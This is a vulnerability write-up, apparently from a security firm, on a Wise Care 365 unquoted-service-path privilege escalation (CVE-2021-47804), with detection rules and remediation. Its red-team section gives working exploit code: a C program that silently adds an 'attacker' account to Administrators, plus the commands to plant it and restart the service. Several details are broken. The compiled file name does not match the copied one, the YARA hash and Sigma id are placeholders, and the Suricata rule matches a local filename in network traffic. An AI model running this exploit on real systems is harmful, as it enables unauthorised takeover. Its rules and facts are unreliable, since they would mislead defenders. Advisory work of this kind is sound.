CVE-2021-47804

Executive Summary

CVE-2021-47804 is a local privilege escalation vulnerability in Wise Care 365 version 5.6.7.568. The vulnerability exists in the WiseBootAssistant service, which runs with LocalSystem privileges and has an unquoted service path. An attacker with local access can exploit this by placing a malicious executable in the service path, which will be executed with elevated system privileges when the service restarts. This vulnerability allows an attacker to gain full system control from a low-privileged user account.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No CVSS vector assigned by NVD)

Threat Level: High (Local Privilege Escalation)

Risk Assessment:

• Attack Vector: Local (requires local access to the system)
• Attack Complexity: Low (standard unquoted service path exploitation)
• Privileges Required: Low (standard user account)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High (full system access)
• Integrity Impact: High (full system control)
• Availability Impact: High (system compromise)

Deep Dive & Mechanics

The vulnerability is a classic unquoted service path issue in the WiseBootAssistant service. When a Windows service is configured with a path that contains spaces and is not enclosed in quotes, Windows will attempt to interpret each space-separated segment as a potential executable. For example, if the service path is:

C:\Program Files\Wise Care 365\WiseBootAssistant.exe

Without quotes, Windows will try to execute:

1. C:\Program.exe
2. C:\Program Files\Wise.exe
3. C:\Program Files\Wise Care.exe
4. C:\Program Files\Wise Care 365\WiseBootAssistant.exe

An attacker can place a malicious executable named Wise.exe or Wise Care.exe in the C:\Program Files\ directory. When the WiseBootAssistant service restarts (e.g., after a system reboot or manual restart), Windows will execute the attacker's malicious file with LocalSystem privileges.

Vulnerable vs. Patched Code

Vulnerable Configuration (Wise Care 365 5.6.7.568): The service path for WiseBootAssistant is stored in the Windows registry without quotes:

HKLM\SYSTEM\CurrentControlSet\Services\WiseBootAssistant
ImagePath: C:\Program Files\Wise Care 365\WiseBootAssistant.exe

Patched Configuration (Expected): The service path should be enclosed in quotes:

ImagePath: "C:\Program Files\Wise Care 365\WiseBootAssistant.exe"

No official patch has been confirmed for this vulnerability.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Install Wise Care 365 5.6.7.568 on a Windows 10/11 VM
2. Create a standard user account
3. Verify the WiseBootAssistant service exists and runs as LocalSystem

Exploitation Steps:

1. Check Service Path:

   sc qc WiseBootAssistant
   

2. Create Malicious Executable:

   // malicious.c - compile with: x86_64-w64-mingw32-gcc -o Wise.exe malicious.c
   #include <windows.h>
   int main() {
       WinExec("cmd.exe /c net localgroup Administrators attacker /add", SW_HIDE);
       return 0;
   }
   

3. Place Malicious Executable:

   copy malicious.exe "C:\Program Files\Wise.exe"
   

4. Trigger Service Restart:

   sc stop WiseBootAssistant
   sc start WiseBootAssistant
   

5. Verify Privilege Escalation:

   whoami
   net localgroup Administrators
   

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for service path modifications
2. Check for suspicious files in C:\Program Files\ directory
3. Monitor service start/stop events
4. Review Windows Event Logs for Service Control Manager events (ID 7045)

Hunting Queries:

// KQL - Detect unquoted service paths
DeviceEvents
| where ActionType == "ServiceInstalled"
| extend ServicePath = parse_json(AdditionalFields).ServicePath
| where ServicePath contains " " and ServicePath !startswith "\""

Indicators of Compromise (IOCs)

File IOCs:

• C:\Program Files\Wise.exe (malicious executable)
• C:\Program Files\Wise Care.exe (malicious executable)
• Any executable placed in C:\Program Files\ directory not part of legitimate Wise installation

Registry IOCs:

• HKLM\SYSTEM\CurrentControlSet\Services\WiseBootAssistant\ImagePath with unquoted path

Process IOCs:

• Wise.exe or Wise Care.exe running from C:\Program Files\
• WiseBootAssistant.exe running with unexpected child processes

Network IOCs:

• Outbound connections from Wise.exe or Wise Care.exe to unknown IPs

Detection Engineering

YARA Rule

rule CVE_2021_47804_WiseBootAssistant_UnquotedPath {
    meta:
        description = "Detects unquoted service path for WiseBootAssistant"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2021-47804"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $s1 = "WiseBootAssistant" nocase
        $s2 = "C:\\Program Files\\Wise Care 365\\WiseBootAssistant.exe" nocase
    condition:
        $s1 and $s2
}

Sigma Rule

title: Unquoted Service Path - WiseBootAssistant
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unquoted service path for WiseBootAssistant service
author: Valters IT
date: 2024/01/01
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47804
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 7045
        ServiceName: 'WiseBootAssistant'
        ImagePath|contains: 'C:\Program Files\Wise Care 365\WiseBootAssistant.exe'
        ImagePath|re: '^[^"]'
    condition: selection
falsepositives:
    - Legitimate Wise Care 365 installation with unquoted path
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2021-47804 - WiseBootAssistant Unquoted Service Path Exploitation"; flow:to_server,established; content:"Wise.exe"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Wise Care 365 to the latest version (if available)
2. Manually add quotes to the service path:

   sc config WiseBootAssistant binPath="\"C:\Program Files\Wise Care 365\WiseBootAssistant.exe\""
   

3. Restrict write permissions to C:\Program Files\ directory for standard users

Long-term Mitigation:

1. Implement application whitelisting (AppLocker or WDAC)
2. Monitor for unquoted service paths using security tools
3. Apply principle of least privilege to all services
4. Regularly audit service configurations

Detection Recommendations:

1. Enable PowerShell script block logging
2. Monitor Event ID 7045 for new service installations
3. Deploy YARA/Sigma rules for continuous monitoring
4. Implement file integrity monitoring for C:\Program Files\

Valters IT - DevSecOps & Cyber Threat Intelligence